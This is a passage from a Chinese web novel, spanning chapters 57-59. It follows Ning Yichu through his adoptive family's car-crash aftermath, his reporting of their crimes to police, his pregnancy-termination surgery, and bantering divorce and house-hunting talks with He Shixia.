看在律师说交警那边已经调查出了结果、需要跟亲属沟通的份上,出门前往医院,也看看宁家那一家四口的情况。 从律师没有报丧这一点来看, 显然他们应该都没死,还是比较让人遗憾的。 不过,到了医院,得知了那四个人的情况后,宁衣初就觉得他们没死也挺好的,还是继续活着给自己干过的事赎罪吧、余生都待在煎熬里挺不错的—— 律师终于见到了宁衣初,熬了一宿的眼睛通红地看着他,说:“小初少爷,您可算来了……我知道您跟先生太太他们都有一定矛盾,但您也别这么为难我啊,我就是个打工的,您这亲属不来,我这个晚上真是过得太煎熬了……” 宁衣初觉得有意思:“我看你现在挺好的,还能数落我,你帮着宁绍仁处理那些见不得人的事的时候,拿着远超出你本职工作应该有的报酬的时候,怎么没见你这么为难啊,刘律师?” 刘律师的声音霎时卡了壳,作为备受宁绍仁信任、连紧急联络电话都有他一席之地的私人律师,他当然知道宁绍仁诸多见不得光的事,他甚至在不少事情里算是从犯…… 想到宁绍仁出事之前为了安抚宁衣初,甚至要把康宁的股份给他……刘律师这才回过神,连忙老实了:“不敢不敢,小初少爷误会了,我哪敢数落您呢,我这就是一时着急,加上我一整晚没睡,可能语气上显得有点冲,措辞也不够礼貌,是我的错,是我的错,您别计较。” 宁衣初没什么可计较的,但回头报了警,刘律师作为知情从犯,法律上计不计较就不是他能决定的事了。 没再跟刘律师废话,宁衣初问道:“他们人怎么样了?” 刘律师忙回道:“都暂时脱离生命危险了,但情况都不太好,这会儿都没醒呢,医生说只能继续观察了,不过……撞到头出点血脑震荡什么的都是轻的,先生和太太被压到了胳膊,送来医院又不够及时,为了保命只能把手截肢了,先生是右手小臂往下,太太是左手小臂往下。” 宁衣初挑了下眉,同行而来的贺适瑕闻言也神色微动,虽然是厌恶的人,但突然听到人截肢了,难免也感到意外。 刘律师继续道:“大少爷和小少爷也都伤得挺重,医生说先生太太和两位少爷以后只怕都要落下病根,不光是这伤,体质也会大不如前……” “大少爷和小少爷当时都被卡住了腿,小少爷幸运一点,卡得不牢、被救起来得快点,也就是个骨折,但大少爷腿部神经受损、不可逆的那种,虽然没到先生太太那样截肢的地步,可以后走路也要跛着了。” “而且车祸发生的时候,车前挡风玻璃被撞碎了,靠前的大少爷和小少爷都被玻璃划到了脸上,也不知道该说谁症状更轻……” “小少爷脸颊上的划伤不重,可碎玻璃伤到了眼睛,医生说具体情况得等他醒了以后做测试才能确定,虽然不至于失明,但可能跟超高度近视一样,而且他这情况移植视网膜多半也不可能恢复如初。” “至于大少爷,有一块比较大的玻璃扎进了他脸颊上,险些要危及大脑了,好悬没有,不过那么大的伤口,不是一般整容修复手术能搞定的,毁容了,伤势还影响到了口腔功能……唉。” 刘律师虽然没良心,但这么多年也是真把宁绍仁一家当“主子”了,这会儿说起来还挺伤感,但随即又意识到宁衣初只怕乐得见到宁绍仁一家四口凄凄惨惨,于是刘律师刚叹出口的气又卡住了。 宁衣初还是有点意外的:“居然个个都伤得这么严重?车祸到底怎么发生的,撞到别人的车了吗,那别人呢?” 刘律师:“这个情况有点复杂,我其实也不是完全清楚……正好交警那边应该也跟医生问完情况了,要不小初少爷您去跟交警聊聊?” 交警也正好需要跟家属沟通。 “是这样的,宁先生,我们结合双方的行车记录仪和路段监控,还有刚才医生告知的伤者伤情,基本确定了昨晚的事故发生过程,视频我们都导出来了,你也可以看看。在事故发生前,你家人这边是起了争执——” 据交警讲述和视频呈现,事故双方司机分别是宁则棋和一个大货车的司机,发生路段正好是跨江大桥。 当时宁则棋这边,因为宁则书闹着要下车、触碰了错误按钮且按着不放,导致宁则棋座椅往后倒,在安全带的束缚和宁则书身体的阻挡下,宁则棋这个司机无法看清前路,车头也随着方向盘不受控制地左右偏移。 正好迎面驶过了大货车,货车司机疲劳驾驶,直到宁则棋的车子靠得特别近了,才反应过来不对劲。货车司机当即打了方向盘,避免了正面相撞,但货车车厢太长,在急速变向中不仅和宁则棋的车头相撞,还由于重力和惯性将宁则棋的车子推向了桥边,宁则棋这边车子和车内四个人一起坠入了江中。 货车车厢里是满满的钢筋,顶上有一根在剧烈的撞击下松动滚落,扎到了宁则棋这边车前挡风玻璃上,玻璃因此受损破碎。 宁则棋在安全带和安全气囊的保护下没有撞到头,但腿被变形的驾驶座车门和装凹的车头卡住了,而且安全气囊很快被挡风玻璃碎片划破,有一块特别严重地刺进了宁则棋的脸颊。 剩下宁则书、宁绍仁和韩文华,当时不仅没有系安全带,甚至没有好好坐在座位上,车祸发生的瞬间就失重撞到了车顶,也是几人后脑勺伤势的由来。 然后宁则书被甩向了副驾驶座的车门,应该就是这个过程里脚被突变的体态卡住了,脸部也直面了车前挡风玻璃碎片,但与此同时他幸运地和扎进车内的钢筋擦身而过了。 但原本在后座、起身制止宁则书妨碍驾驶的宁绍仁和韩文华,两人先是手臂被前座椅背拦着撞到,然后在晃动中胳膊重到了一起,正好被钢筋扎中没入。 车子落水,江水很快从破损的车前灌进,当时要不是货车司机反应过来选择了及时报警和打120,而且碰巧附近就有警局和水上消防,救援到得足够快,光是溺水就能让这四个人死了。 不过再快也还是需要时间,四个人都呛了水,消防把他们救起来后顾不得他们其他伤势,先给做了溺水急救,让他们把水吐了出来,这才给了送往医院抢救的机会。 说完了经过,交警又说:“本来呢,如果那个货车司机是正常行驶,那这件交通事故就没有他的责任,但问题是他当时是疲劳驾驶,事故发生当时确实也踩过了车道中间的实线,所以这次事故里还是要担一部分责任的,尤其是这边几个伤者情况都比较严重……货车司机那边不敢来,托我们代问,想知道这边家属,也就是宁先生你是希望怎么解决这件事。” 宁衣初问了下:“那个货车司机没受伤吧?” 交警回道:“人倒没事,就是货车受损,还有运的货,在这起交通事故责任划分清楚之前,都得先扣在我们交警大队里。司机那边当然是希望早点把车和货还给他,说是家里都指望这个生计,但他也没打算卖惨逃避责任,说该赔医药费他一定赔,就是希望别全让他承担,他也挺倒霉的。怕来医院里见到不理智的家属,所以才想让我们交警先传一下话。” 宁衣初点了点头:“既然如此,那就各自承担自己的损失吧。我养父母他们这边,虽然他们伤情严重,但他们才是整起事故的主责,没有货车司机没受伤就反要他赔偿的道理,我想法律上就算出于人道主义,也不会支持多少的。既然我们家不缺医疗费,这件事上就别折腾了。” “货车司机人受了惊吓,车子也受损了,就别再扣着货了,需要的话我现在就可以签事故责任划分确认书。还有就是,虽然货车司机疲劳驾驶了,但这起事故说起来也是天降横祸,他货车的维修费我们这边出就好。” 没有乱七八糟讲理不讲理的扯皮,交警闻言也松了口气。 这起事故毕竟不是货车司机主责,他要承担的责任至多一二成,只是宁则棋他们这边全都伤势严重,所以这起事故才麻烦了点,但既然宁衣初作为能代理的直系亲属,愿意放弃追责的话,那货车司机就没什么事了。 不过,宁衣初说到货车维修费,交警还是有点意外:“你们这边出吗?” 宁衣初笑了下:“反正我养父母不缺钱,我想他们应该更愿意我用他们的钱给他们做好事祈福,而不是买冥币烧给他们吧。” 交警顿了顿。 贺适瑕就不说了,本来就名声大噪,宁衣初也因为刚结束的那档直播节目而颇受关注,交警其实在确认了伤者身份后,就猜到律师口中这个养子是谁了,看到宁衣初和贺适瑕本尊后便确定了。 由于这段时间风风火火的舆论八卦,交警也知道宁衣初和养父母间不仅没感情还算是有仇,现在听到宁衣初这么直白的话,虽然不太好回答,但想来也并不意外。 总之,因为事故双方没有扯皮,这件交通意外很顺利地划分清楚责任、有了结果。 没结果的是仍然没醒的宁家一家四口。 刘律师虽然觉得以宁绍仁他们那无理也要闹十成的行事风格,如果他们现在能做主的话肯定不会这么轻易放过那个货车司机,但这不是他们没醒、做不了主吗,刘律师也没敢对宁衣初的决定提出异议。 在医院里焦头烂额了通宵,现在既然宁绍仁他们已经出了手术室、交通事故这边也有了定论,刘律师就想跟宁衣初告别先离开了。 宁衣初叫住了他:“别走了,刘律师,警方正在过来的路上呢,你走了他们还得去新地方找你。” 刘律师一愣:“什么?小初少爷您……这话是什么意思?交警不是刚走吗,这件事不是已经结束了吗?” 宁衣初歪了下头:“但宁绍仁、韩文华和宁则棋之前犯过的罪,还没跟警察说清楚呢。” 刘律师闻言,本就不好看的脸色更青白交加了。 宁衣初:“我本来是打算先让他们窝里斗个十天半月,但没想到他们这么迫不及待,那事到如今,我觉得也够了,就把‘无缝衔接手铐’作为他们的出院礼物吧。你刚才去跟货车司机联系维修赔付的事时,我已经向警方递交证据举报过他们三个了,你作为最知情的帮凶,还是就在这里等等警察吧……或者,你想知法犯法现在逃跑吗?” 刘律师本来在后退的脚步顿住了。 于是,在宁绍仁、韩文华和宁则棋还没苏醒之际,他们过去犯下的人命官司、遮掩自己的罪行或者包庇儿子的罪行的事,就已经被揭发了。刘律师为了自保、减轻罪行,还主动坦白了几件原书剧情里没提所以宁衣初也不知道的陈年旧事,更是给宁绍仁和韩文华的犯罪记录添砖加瓦。 三天后,伤势在四人中偏轻的宁则棋最先醒了,迎接他的就是守在病房里的警察。 宁则棋被通知了情况后,沉默许久,然后说想要见见宁衣初,见完了他就老老实实坦诚罪行,不浪费警方时间了。反之,如果宁衣初不来见他,他什么话都不会说的。 宁衣初不想见宁则棋,想到这人就觉得恶心,但他不想让警方难办,于是还是抱着“痛打落水狗”和“不要错过落井下石机会”的想法,前往医院见了宁则棋一面——因为宁则棋还没康复到可以出院,警方这时候也不便不顾嫌疑人生命安全把他带走,所以宁则棋醒了之后,在被正式抓捕前,还在医院里住了两天。 宁则棋脸上缠了厚厚的纱布,他已经知道自己毁容的事了,还在宁衣初到了之后问他:“我现在这样是不是挺吓人的?” 宁衣初嗤笑道:“你没毁容的时候就够恶心人了,不缺这点变化。” 宁则棋脑回路清奇:“我就当你这话是安慰我了。小初,你果然是知道我飙车出事那件事的,我就说你怎么可能不知道,这件事知情的人甚至还挺多,能瞒几年也是不容易了……你其实也没打算真的放过我和爸妈吧,那天晚上就是那样说说,其实是等着我们处理完宁则书了,你再最后处理我们。怎么,如今宁则书的情况已经足够让你出气了吗,你这么快就对我和爸妈下手了?” 宁则棋脸上的伤甚至影响到了口腔功能,说的话简短的时候还不明显,一长了甚至有些大舌头吐字不清,他自己也意识到了,看似平静但其实眼神里已经透露出了对自己当下境况的难堪和愤怒,不过他还是坚持把话说了下去。 宁衣初听完了他这段废话,只回道:“把我对你们下手,改成揭发你们的罪行、你们罪有应得,会更贴切。” 宁则棋笑了声:“是啊,罪有应得……从爸妈为了私心,将刚出生的无辜的你偷走那时起,就该知道迟早会罪有应得的……小初,你就一点都不好奇吗,我是什么时候喜欢上你的?” 宁衣初蹙眉,显然又被这个话题恶心得不轻。 陪着他来的贺适瑕抬起手,轻轻拍了拍他的背,目光则警告地看向宁则棋:“我说过不要再拿这件事恶心他吧?” 宁则棋看着他们并肩站在一起的模样,苦声说:“我当时不该把小初推到你房间的,倒是给你贺适瑕做了嫁衣……小初,我喜欢你这件事,真的这么让你恶心吗?那很抱歉了,我还是想说,现在不说,以后应该就没机会了,辛苦你听我说完吧,这件事说完,我就没别的事了,你就可以走了,下次再听到我的消息,或许就是我被判刑了?” 宁衣初仍然眉头紧蹙,没回答宁则棋这话,但他既然来了,也没打算半途离开。 宁则棋说话太多,感觉口腔里有点出血,但他没停:“你刚被爸妈带回家的时候,我以为你就是被我弄丢的亲弟弟,那时候我对你是真的挺好的,对吧?当然,正如宁则书说的,当时主要是对亲弟弟有亏欠,不敢说出真相让爸妈知道,所以希望通过对亲弟弟好来弥补。” “也是因此,宁则书回到宁家,得知他才是我的亲弟弟时,我开始转为对他好,对你的态度变坏……除了爸妈的主导之外,我也有些恼羞成怒,觉得之前对你的好是被你欺骗了。” “但很快,我就意识到宁则书没有表面看起来那么无害,也意识到了对你的不公平,所以我其实想要对你好的,只是家里其他人都习惯性打压你了,我如果公然又对你好,只怕更为你招祸端,所以只能表面仍然对你不好,暗地里……” “我曾经做过一架秋千,你还记得吗,被你偷偷割坏了嫁祸给宁绍仁那架秋千……” “那次其实是爸妈不希望你出现在即将举办的宁家宴会上,还把这件事交给了我来办,暗示我让你受伤,这样就名正言顺了。但我不想伤害你,所以才跟宁绍仁打赌,让他去做这件事,我没想到他会直接害你摔下楼梯,差点要了你的命,我也意识到‘我不想伤害你所以让别人伤害你’其实仍然是我在害你,所以我想要做一架秋千来跟你道歉,只是别人问起来我只能说是给宁则书做的。” “宴会那晚你生病起不来床,我去看你,看到了你下楼割坏秋千,但我没有拆穿你,后来还暗暗帮你让家里其他人认为是宁绍仁做的那件事……当然了,那时候你还小,我倒也没那么恶心,当时只是真想把你当弟弟对你好。” 宁衣初听得厌烦,不想让他如愿地一吐为快,不然他一口气说完了倒是痛快,自己这个听众会被恶心坏的。 所以宁衣初插话回怼道:“偷偷摸摸的弥补,自作多情的恼怒,言行不一的‘对我好’……宁则棋,你们宁家人这辈子应该都没问心无愧、光明正大做过事说过话吧,回头坐在警局的审问室里记得别习惯性巧言令色。” 宁则棋被他看得狼狈,本来有长篇大论想说,这时却突然很想尽快结束了,于是他仓促道:“后来……你上了大学,学着你没接触过、被家里乱填上去的美术专业,我看着你一边崩溃一边咬牙坚持,我在被你废弃的那一幅幅练习画作里,逐渐喜欢上了你,小初……我是真的喜欢你。” 宁衣初恶心道:“说完了?那么祝你往后跛脚毁容的监狱生活愉快。” 宁衣初转身要走,贺适瑕跟上之前,最后问了宁则棋:“所以你的意思是,你在主动迫害以及助长对阿宁的欺凌中,欣赏着他的痛苦,然后喜欢上了他?你还称之为真心?” 宁则棋被质问得如遭雷劈。 …… 告别病房外的警察后,宁衣初走出了医院,呼吸到了新鲜空气,这才觉得舒坦点了。 他看向贺适瑕:“要是宁绍仁和韩文华招供之前也嚷嚷着要见我,那我可真是要被他们宁家人恶心死了……对了,我的手术是不是就这两天了?” 贺适瑕颔首,温声道:“安排在了大后天,我本来准备明天就跟你说,后天要先去医院做术前体检。现在贺家和宁家的事都解决完了,就剩这个孩子……还有我了。阿宁,你快要自由了。”—— 作者有话说:抱歉抱歉,写完了才发现已经迟到了八分钟了……(跪下 第58章 第 58 章 打掉孩子,手术结束。…… 直到宁衣初做手术这天, 还没醒的宁绍仁、韩文华和宁则书都仍然在昏迷之中。 医院那边说宁绍仁和韩文华主要是车祸中脑部受到的撞击严重、加上截肢等其他伤势也太损耗人,所以他们才迟迟没醒,属于正常状态。 而宁则书的话, 虽然也受伤了, 但论起来他的伤势是没有宁绍仁和韩文华那么重的, 宁则棋都醒了几天能去看守所了,宁则书都还没醒, 可能也有一点病人本人生存意志薄弱的缘故。 宁则书生存意志薄弱……宁衣初看过车祸事故发生时段的行车记录仪视频,里面清楚地录下了那时候宁家一家四口的对话, 虽然知道宁则书的想法是怎么回事了, 但他反正还是不想理解。 他上辈子过得那么倒霉了,唯一自杀的一次也是酒后失控, 还自己临到头后悔了向外求救。 他上辈子的死是因为客观上身体撑不下去了,不是他自己想死, 他当初但凡不是想要好好活着, 早就破罐子破摔能拉几个宁家人是几个,陪着他一起死给他垫背了。 总之宁则书爱活不活,宁绍仁和韩文华什么时候醒也已经有警方更加关注,宁衣初这几天连那边医院都没再去过。 他的术前检查结果很好, 可以按计划进行手术。 转眼, 便到了手术这天。 宁衣初换好了手术衣, 坐在病床边等待被推进手术室时, 突然对贺适瑕说:“其实,我也真的期待过这个孩子。” 贺适瑕微微一怔:“是因为……想要一个属于你的存在吗?” 宁衣初笑了下:“算是吧。最开始很接受不了怀孕的事, 刚割腕被救醒的时候,其实是想打掉这个孩子的,但你说要因为这个孩子跟我结婚, 我当时太想摆脱宁家了,想着那就留下吧,活了二十多年到头来居然要靠这种‘筹码’,说来也怪对不起这个孩子的。” 贺适瑕抿了下唇:“……是我的错。宁家对你不好,处境尴尬的你根本不可能放下心防、毫无顾虑地主动跟我摊开聊,但我是没有那么多顾虑的,可我也没有主动跟你聊,还想当然地笃定你的想法,自以为是的‘善解人意’……可我知道什么。我明明当初有意识到你在宁家待遇不好,却也选择了当陌路人不闻不问……” “我其实没资格骂宁则棋,我跟他没什么差别,一样停留在口头的爱,他要把对你的伤害包装成年少无知和无可奈何,我要狡辩上辈子在你死前都没意识到对你的感情、不知道宁家具体对你做过什么……从烂桃花这方面来看,阿宁你确实挺倒霉的,之前跟你表白过的贺如林也不是什么好玩意儿。” 听贺适瑕懊悔自责又自嘲地说完,宁衣初反应平静。 他没点评贺适瑕这番话,只继续自己刚才的话说下去:“当初既然决定要留下这个孩子了,我就开始想一个能让自己心里舒坦点的理由来自我安慰,然后想到了……” “我过去从来没有过完全属于我的东西、完全和我站在一个阵营里我不用担心被背叛的人,除了我自己。所以,如果有一个我自己生下的孩子,我或许就有这么一个完全属于我的存在了。” 然后宁衣初轻笑摇头:“但这个理由没能自我安慰太久,我就在孕吐中意识到,不可能的。这个孩子还在我肚子里的时候就让我不舒服,不论是生理上还是情感上,那我怎么能指望它出生后情况会变好呢。” “而且只要出生了,它就是个活生生的人,我既不能把自己的人生都寄托在另一个人身上,也不能像宁家人对我那样去毫无人性地控制另一个人,把别人当成我的附庸,即便这个‘别人’是我的孩子。” “所以,这个孩子就算出生了,对我来说也没有更多的意义,我与其去想它,不如想想要怎么借贺家获得更多好处……结果上辈子也没能成。” 贺适瑕温声说:“这辈子成了。阿宁,不用去想那么多,这个孩子在上辈子已经用你的命活过了,这辈子孩子尚且没有出生,你有权利停止用自己的身体供养这个孩子,你打掉孩子的决定没有错,不用因为上辈子有这个孩子的出生,就觉得这辈子不让孩子出生是剥夺了谁的权利。” 宁衣初挑了下眉:“我说这么多,又不是因为我犹豫了,我可没打算改变主意……就是想到上辈子,觉得太亏了,我正儿八经怀了九个多月的孕,结果什么都没捞着,还把自己的命搭了进去……居然能有这么亏本的事。” 贺适瑕忍不住抬手,轻轻摸了摸宁衣初的头发,果不其然被瞪了一眼,他也没收手,接着轻声说:“那等你手术结束,你愿意听的话,我跟你说说孩子的事?” 宁衣初觉得他这脑回路离奇:“怎么,想看我到时候后悔?” 贺适瑕无奈摇头:“三岁前的小孩没有任何省心的地方,你听了肯定不会后悔的,我也没有这个意思。只是觉得,如果你知道一点孩子的事,就会有那个孩子确实是存在过的实感,或许就不会觉得怀孕那么辛苦最后什么也没看着了……不过这是我想当然的说法,刚才脱口而出了,没太过脑子,你不想听的话,骂我出出气吧。” 宁衣初拍开贺适瑕还没收回去的爪子:“你好烦。” 贺适瑕顺势握住宁衣初的手,轻笑了笑。 又过了会儿,医生过来告知,可以进手术室了。 手术方案一应俱全,这场手术只是史无前例所以术前准备格外慎重,但本身难度并不算大,持续时间不长。 进入手术室后一个小时左右,宁衣初就被推了出来。 医生对贺适瑕道:“不用担心,宁先生的手术很顺利。” 贺适瑕松了口气,放下心来,跟着病床回到了病房里,然后他坐在床边看着面色苍白的宁衣初,等着他醒来。 宁衣初恍惚间觉得自己做了一个亘长的梦,睁开眼时全身都很疲惫,但思绪却觉得轻盈放松无比。 “阿宁……”贺适瑕见他醒了,克制着急切,轻声喊道。 宁衣初微微偏头,看着守在他身边的贺适瑕,眨了眨眼。 手术创口不大,但还是需要住院几天,出院后也需要静养一段时间。 宁衣初手术后第三天,收到消息说宁绍仁和韩文华在同一天早晨和午后相继醒了,两个人都对自己被截肢的事很崩溃,无法接受到连自己即将面临牢狱之灾都顾不上关心了。 小臂截肢不影响坐牢,宁衣初也就懒得关注他们到底有多崩溃。 他继续在医院住了三天,然后医生检查确认他的身体状况后,表示他可以出院了。 等医生出去后,贺适瑕看着心情不错的宁衣初,也笑了笑:“阿宁,还是先回贺家,等彻底养好了身体再搬走,可以吗?你把你以后想要住的地方的要求告诉我,正好这期间我可以帮你找房子和布置,好不好?” 宁衣初懒洋洋地点头:“这期间也正好,我们把离婚协议签了。” 贺适瑕微微一顿,然后说:“嗯,我让律师拟协议去。” 宁衣初表示不用:“我之前已经让人拟好了,就放在贺家,待会儿回去签了就行,反正我们之间也没什么需要划分的,签离婚协议只是为了方便律师代办手续。” 贺适瑕这次没有马上答应下来,他看着宁衣初轻描淡写的神态,突然问:“阿宁,你的列表上就剩我要处理了,我答应过你的,等看着你把别的人和事都处理清静了,我就老老实实去死……我不可以以你的合法伴侣的身份去死吗?” 贺适瑕问得一本正经,宁衣初打量了他一会儿,然后乐不可支道:“我这几天还真认真想过这件事……算了,离婚就行了,以后我们各过各的,你别再来打扰我,也不要你死了……你又不是最可恶的,别的人都还活着呢,你有什么可死的。” 贺适瑕苦笑了声:“我情愿你要我去死,这样我可以一厢情愿地认为这是我在你心里的份量和别人不一样的意思……阿宁,只要我活着,我就不可能做到跟你各过各的,就算在离婚协议上签了字,我以后还是会忍不住缠着你的,像鬼一样。” 宁衣初轻啧了声,好整以暇地回:“你还威胁上我啦?教唆人自杀犯法的,我不干那种事,你别害我。” 贺适瑕定定地看着宁衣初的眉眼。 自从宁绍仁那一家四口出事后,宁衣初整个人的状态都放松了下来,好像终于卸下了一块曾压得他喘不过气的巨石。 而手术结束醒来后,宁衣初过去这五六天里,贺适瑕贴身照顾着他,更是明显感觉到了宁衣初的如释重负和悠然。 贺适瑕看着宁衣初心理状态越来越好,自然很欢喜,但宁衣初状态好到不打算再跟他计较了,这就反倒让贺适瑕无所适从、觉得好像要彻底被宁衣初排除在他的崭新人生之外了。 贺适瑕宁愿宁衣初还是恨他、要他去死,宁愿他死后宁衣初才觉得圆满,宁愿像之前说好的那样,在他死后他对宁衣初的感情,会在宁衣初的心里成为越来越美好的标本…… 可如今宁衣初不要他死了,贺适瑕也不敢擅作主张,不然就是给宁衣初添膈应他的事了,宁衣初以后回想起来只会越发觉得他面目可憎的。 “阿宁……”贺适瑕不知道该怎么回应宁衣初,只是下意识地开口叫他的名字,声音里带着自己无法控制的颤抖。 宁衣初看着贺适瑕的神色变化,觉得挺有意思的:“你还真希望我想让你死啊?活着不好吗?没体验过挣扎求生、就是想要活出一个人样的人,就爱拿死当深情,最烦你了。” 虽然说着“最烦你了”,但宁衣初显然没有真的恼怒,更像是一种特别闲庭信步地逗着他玩的状态,但又和“逗”宁家那些人时的含沙射影阴阳怪气不一样,宁衣初这会儿是真的很闲适。 贺适瑕从下意识的慌乱中回过神,看着这样的宁衣初,突然胆大包天地揣测:“阿宁,你是不是……离婚之后我们就是陌生人了,那我能从陌生人关系开始,跟你打招呼、认识你,然后追求你吗?” 闻言,宁衣初惊叹于贺适瑕的反应速度,饶有兴致地否决道:“认识你干什么,当床伴吗?离婚之后我可以认识很多人,不差你一个。” 贺适瑕却陡然放松了点,笑起来:“好,那我到时候争取走在最前面,让你离婚后第一个认识的就是我……我收拾行李,我们出院吧。” 因为担心宁衣初还没完全痊愈的伤口,所以这天贺适瑕没有开车,而是在后座陪着宁衣初,开车的人是贺家专门的司机。 他们回到贺家,刚下车,就听到佣人追着喊:“君子,君子,别去主宅啊你……” 一只小白狗跑在前面,看到贺适瑕和宁衣初后,它默默急刹住脚,然后扭头要往回跑,佣人这才追上抓住了它。 然后佣人尴尬地打招呼:“适瑕少爷,小初少爷……” 宁衣初看着那狗,饶有兴致——他觉得自己现在对很多事都颇有兴趣,而且和以前那种总是带着些目的的好奇心不一样,现在就是纯粹地享受自己的好奇心。 “这是以前贺如竹养的那只吧,他没带走?”宁衣初问。 佣人自己倒不怕宁衣初,但她知道宁衣初不喜欢贺如竹那些人,怕他迁怒小狗,毕竟据说之前已经迁怒过、结果是小狗被绝育了……又不可能绝育第二次,万一再迁怒可就没得割了。 所以佣人实话实说但委婉道:“是的,叫君子,他们走的时候没有带它一起,可能是本来以前也不怎么手把手亲自养,所以感情不算深,也可能是觉得把君子留在贺家对它本身也更好吧……这之前一直养在他们离开前住的偏宅那边的,今天不知道怎么回事,君子突然跑过来了,它其实除了贪玩之外很乖的……” 宁衣初忍俊不禁,安抚道:“别担心,它以前冲我吼,我已经送它绝育教育过了,没打算再对一只狗怎么样,你带它回去吧。” 佣人抱着哆哆嗦嗦显然记性不错的君子回偏宅去了,宁衣初则对贺适瑕说:“你不是要给我找新房子吗,我要带院子的,我以后也打算养条狗,看着怪好玩的。” 贺适瑕失笑:“好,想养大狗还是小狗呢?” 宁衣初犯了一瞬间的选择困难,干脆折中道:“都不,我要中型犬。” 贺适瑕点点头:“养狗得遛吧,我以后负责帮你遛狗,好不好?” 宁衣初嫌弃道:“你还是先把你自己遛好吧。” 贺适瑕很喜欢这种琐碎没营养的对话,噙着笑说:“那要不我也养条狗,这样我们就可以在遛狗的时候‘结识’了,据说狗友关系还蛮顽固的,不搬家就不容易散。” 宁衣初服了他这天马行空的说话逻辑:“烦死了,你先帮我把房子找到再说吧,不满意我就把你们贺家推了重建。” ——这话纯粹是瞎扯,但佣人如临大敌,回头告诉了贺维安,贺维安听完后也是沉默。 回到贺家的第二天,宁衣初就把离婚协议递给了贺适瑕。 贺适瑕一本正经地看了会儿协议。 宁衣初见他半天没翻页,狐疑道:“你突然不认识中文了?看这么慢。” 贺适瑕轻咳了声,卷好协议:“抱歉,坦白来说,我刚才在想要怎么花言巧语拖延签字时间,所以其实除了最上面的‘离婚协议书’五个字之外,其他的都没看进去。” 宁衣初:“……” 他坐在沙发上往后一靠:“洗耳恭听。” 贺适瑕再次抱歉道:“还没想好……阿宁,反正你现在身体还没养好,房子也还没找好,再给我半个月时间,你离开贺家之前我再签,好不好?” 宁衣初歪了下头:“你这不是想好了拖延词的吗。” 贺适瑕轻笑:“那你的回答是?” “不行。”宁衣初道,“我要在离开贺家之前拿到离婚证。” 贺适瑕从善如流地改口:“好,那我就在你离开的前一天签字,律师代办手续一天就够了,我保证你能拿到。对了,阿宁,我刚刚在搜中型犬的资料,你要不要来挑一下喜欢哪个品种的狗?” 宁衣初啧了声:“说了让你先把房子给我找好,没房子挑什么狗,到时候栓你脖子上吗?” 贺适瑕忍俊不禁:“狗就算了,但如果你想把项圈扣我脖子上,说实话我并不是很介意。” 宁衣初被他这番丧心病狂的大尺度话惊住了:“……去看看脑子吧,贺适瑕。” 贺适瑕想要开口回答,宁衣初怕脏了耳朵:“闭嘴!我们不是能讨论这种话题的关系!” 被“拒之门外”的贺适瑕看着宁衣初的表情,有些忍不住笑意:“好吧……那可以讨论一下关于我送给你的那个手作‘模型’的事吗?我准备慢慢帮你收拾着行李,‘模型’你要带走的吧?” 宁衣初觉得贺适瑕现在就是满口污言秽语。 他抬高下巴:“带那玩意儿干什么,离了婚我可以去找别的人了。” 贺适瑕顺势不动声色地把暂时被宁衣初遗忘的离婚协议书悄悄丢到了一边,然后他靠近宁衣初,握住他的手,满目都是正经人的作派:“真的吗?万一遇到不干净的人怎么办,很委屈你的,阿宁……我和我的‘模型’最干净了,你搬新家的时候真的不要带我们一起走吗?” 宁衣初拍开他的手:“刚才还只是‘模型’,说着还自行加上码了,贺适瑕你改名叫得寸进尺吧。” “厚颜无耻会不会比较适合我?”贺适瑕一本正经地探讨。 宁衣初:“……离婚协议呢,现在给我签了。” 贺适瑕立马老实了,眼睛往四周看:“协议呢,我放哪儿去了,我找找,找到了就签,阿宁你别着急……对了,宁绍仁和韩文华本来还想继续装出不了院,拖延被捕时间,但被医生拆穿了,他们俩今早都已经出院并无缝衔接审讯室了,鉴于他们都有一边小臂被截肢了的惨况,看来可以幸免于用手铐了。” 宁衣初还是很佩服他转移话题的能力的。 贺适瑕虽然拖着不想签离婚协议,但另外的事还是在正正经经办的,宁衣初出院回到贺家的第四天,贺适瑕就给了他三处房产的选项。 “第一套和第二套房子,都是我之前赠与给你的资产里的,如果选这两套之一的话,直接搬就行了,没有其他手续。第三套是这几天我让人给我推荐了一些资源,我从中挑出了这一处。我觉得这三套应该都还可以合你的心意,阿宁你看看?”贺适瑕把平板递给宁衣初,完了又说,“不用着急,慢慢选。” 宁衣初却不喜欢拖延,偶尔有选择困难也会尽快选定一个然后就不再纠结,当下也是。 他看完了三处房子的情况,包括外部地理位置和环境基础设施情况,还有房子内部布局和装修风格,然后就给出了答案:“我要第三套。” 贺适瑕轻叹了声:“真的不用这么快做决定的,好吧,那我让律师代办交易手续的时候拖延一下进度,弄慢一点,搬家的时候再慢一点,这样我就可以拖延签离婚协议的时间了。” 宁衣初:“……虽然你很诚实,但你真的很讨厌。” 贺适瑕笑眯眯道:“虽然我很讨厌,但阿宁你夸了我很诚实,谢谢,你也很可爱。” 宁衣初把平板拍到贺适瑕胸前:“滚。” 贺适瑕拿着平板,没滚,还得寸进尺顺从妄想地俯下身,迅速偷亲了宁衣初一下。 宁衣初睁大了眼睛,擦了擦唇:“贺适瑕你……你要不还是去死吧!” 贺适瑕如今深刻意识到‘死皮赖脸’这招的无敌,他伸出手去碰宁衣初的唇:“别气,阿宁,我错了,我帮你擦干净……嘶。” 宁衣初启唇,干脆利落地咬了贺适瑕的手指一口。 第59章 第 59 章 “把补偿金给你翻十倍,…… 虽然说着要故意拖延, 但贺适瑕也没拖几天,就把房子的事办妥了。 宁衣初出院的第五天,腹部创口虽然还没完全愈合, 但也已经结痂到日常行动不用特别小心的状态了, 贺适瑕便提议带他去刚过户完成、也已经请人打扫干净了的房子那边看看。 房子是两层的小独栋, 带了宁衣初要求的宽敞院子,有爬满了花藤的四周围墙, 地理位置临近江边,但小区内部独栋与独栋间距离远、周遭很僻静, 小区坐落在繁华地段, 生活各方面也都很方便。 贺适瑕把车停在房子附带的车库里,下车的时候, 宁衣初突然若有所思:“我好像应该去考个驾照。” 高考毕业、大学时期考驾照,对学生们来说是挺常见的安排, 但宁衣初从前被宁家管控着, 是没机会接触这方面的,在此之前反正也不怎么自由,宁衣初也就没想过自己开车这件事。 但搬了家之后,还是自己会开车比较方便, 于是宁衣初说完了, 不等贺适瑕回应什么, 他就已经决定道:“再把宁家的事收个尾, 我就去学车。” 宁绍仁和韩文华在看守所那边,托律师代为转达——是临时新聘的, 当然不是先前那个刘律师了,刘律师自身难保着呢——他们都希望见一下宁衣初,倒不是像宁则棋那样想跟他谈心, 